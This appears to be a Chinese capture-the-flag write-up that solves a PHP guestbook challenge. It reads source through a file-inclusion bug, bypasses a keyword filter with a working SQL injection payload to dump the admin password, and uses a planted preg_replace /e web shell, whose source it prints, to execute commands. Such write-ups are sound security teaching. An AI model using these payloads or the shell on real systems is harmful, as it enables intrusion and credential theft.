进入题目页面是一个留言板,拉到最底下有一个留言框,猜测xss,但是提交后发下如下内容:提示:再次提醒,xss不保证可以成功,允许留言是为了增加娱乐性,换条思路吧!,因为我也不会xss- -~ ,遂放弃xss的思路,再看看留言框稍微往上一点的位置,有个搜索栏,尝试sql,跳转至so.php,出现信息:万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~.到这里有点卡住了,但是注意到底部有个链接,点进去后出现一些信息:
很明显,这是安装后留下来忘删除的文件。。。 至于链接会出现在主页上,这就要问管理员了。。。 ===============================华丽的分割线============================= 本CMS由Funny公司开发的公司留言板系统,据本技术总监说,此CMS采用国际 顶级的技术所开发,安全性和实用性杠杠滴~</br> 以下是本CMS各文件的功能说明(由于程序猿偷懒,只列了部分文件) config.php:存放数据库信息,移植此CMS时要修改 index.php:主页文件 passencode.php:Funny公司自写密码加密算法库 say.php:用于接收和处理用户留言请求 sm.txt:本CMS的说明文档 sae的information_schema表好像没法检索,我在这里给出admin表结构 create table admin ( id integer, username text, userpass text, )
并且url处有about.php/?file= 怀疑存在文件包含,于是查看about.php和so.php:
about.php:
<?php $file=$_GET['file']; if($file=="" || strstr($file,'config.php')){ echo "file参数不能为空!"; exit(); }else{ $cut=strchr($file,"loginxlcteam"); if($cut==false){ $data=file_get_contents($file); $date=htmlspecialchars($data); echo $date; }else{ echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>"; } }
so.php
<?php if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~'; exit(); } $id=$_POST['soid']; include 'config.php'; include 'antiinject.php'; include 'antixss.php'; $id=antiinject($id); $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); $rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?>
顺着so.php里的include查看antiinject.php:
<?php function antiinject($content){ $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); $info=strtolower($content); for($i=0;$i<=count($keyword);$i++){ $info=str_replace($keyword[$i], '',$info); } return $info; } ?>
看完发现应该思路就是sql注入无疑,过滤也不难绕过.于是在burp里改一下user-agent,然后测试后发现是四个字段,接下来结合以上信息构造payload:soid=0’/**/uni=on/**/se=lect/**/1,group_concat(userna=me),group_concat(userpa=ss),4/**/fr=om/**/ad=min#
获得username:admin以及ascii编码的userpass:102 117 99 107 114 117 110 116 117 写几行代码拿password:
a = [102,117,99,107,114,117,110,116,117] for i in a: b = chr(i) print(b)
userpass为fuckruntu,获得了用户名和密码后,进行登录,注意到about.php中有一个loginxlcteam,访问之,出现登录界面,登陆后告诉我们网站根目录下面有个小马xlcteam.php,我们再用文件包含读一下这个小马:
<?php $e = $_REQUEST['www']; $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); ?>
阅读源码对该木马进行利用,array_walk函数用法
之前做攻防世界的ics-05时利用了/e引发了preg_replace函数的漏洞,此处|e和/e的效果是一样的. PHP安全之慎用preg_replace的/e修饰符
因此我们要做的首先就是令www=preg_replace,然后再用wtf来执行我们想要执行的命令.
url:http://cms.nuptzj.cn/xlcteam.php?www=preg_replace post的数据:wtf=print_r(scandir(‘.’)); 执行后可以发现一个文件: 鎭枩浣犺幏寰梖lag2.txt ,更改浏览器文字编码为Unicode,得知文件名为恭喜你获得flag2.txt,访问后获得flag.
这题是真综合,一题更比5题强.
No responses yet